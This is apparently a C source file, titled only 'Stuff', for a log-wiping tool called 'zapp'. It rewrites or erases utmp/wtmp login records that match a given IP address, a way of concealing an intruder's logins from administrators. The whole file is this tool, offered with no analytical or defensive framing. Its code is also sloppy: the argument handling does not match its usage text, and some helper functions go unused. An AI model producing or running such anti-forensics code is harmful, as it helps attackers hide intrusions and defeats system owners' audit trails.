Stuff

#include <sys/types.h>#include <stdio.h>#include <unistd.h>#include <sys/file.h>#include <fcntl.h>#include <utmp.h>#include <pwd.h>#include <string.h>#define MAX           1024*5120#define MIN           1024              //void clean_file(char *host,char *fake);void clean_file(char *host,char *fake,char *file){         //char *file;    //strcpy(file,argv[3]);    struct utmp utmp_ent;    int f;        if ((f=open(file,O_RDWR))<0) {		perror("open");		close(f);         }           while(read (f, &utmp_ent, sizeof (struct utmp))>0) {          if (!strncmp(utmp_ent.ut_host,host,strlen(host))) {		  if(fake) {			  memcpy(utmp_ent.ut_host,fake,sizeof(utmp_ent.ut_host));		  }else {               memset(&utmp_ent,0,sizeof(struct utmp ));		  }               lseek(f,-(sizeof(struct utmp)),SEEK_CUR);               write (f, &utmp_ent, sizeof( utmp_ent ));            }         }     close(f);     printf("finished cleaning log file\n\t");}int pos(char *source,char *pattern);void str_replace(char *source,char *pattern,char *replace);main(int argc,char **argv){    time_t t1,t2;    if (argc<2) {           printf("missing argument\n");           printf("usage :./zapp <ip> <file>\n");           return 0;    } else {             printf("cleaning file: %s erasing: %s with: %s \n",argv[2],argv[1],argv[0]);	     time(&t1);             clean_file(argv[1],argv[2],argv[3]);	     time(&t2);	     printf("the process time is %d ms\n",t2-t1);    }}void str_replace(char *source,char *pattern,char *replace){      char buffer[MIN];      char part[MIN];      int n;      while((n=pos(source,pattern))>=0) {                  strcpy(buffer,&source[n+strlen(pattern)]);                  strcpy(&source[n],replace);                  strncpy(part,source,n+strlen(replace));                  part[n+strlen(replace)]='\0';                  strcat(part,buffer);                  strcpy(source,part);                  n=pos(source,pattern);             }  }int pos(char *source,char *pattern){    char substring[MIN];    int i=0,found=0,position;    int pattern_len=strlen(pattern);    while(!found && i<= strlen(source) - pattern_len) {         strncpy(substring,&source[i],pattern_len);         substring[pattern_len]='\0';         if(strcmp(substring,pattern)==0)              found=1;         else             ++i;        }     if(found)           position=i;      else            position=-1;      return(position);}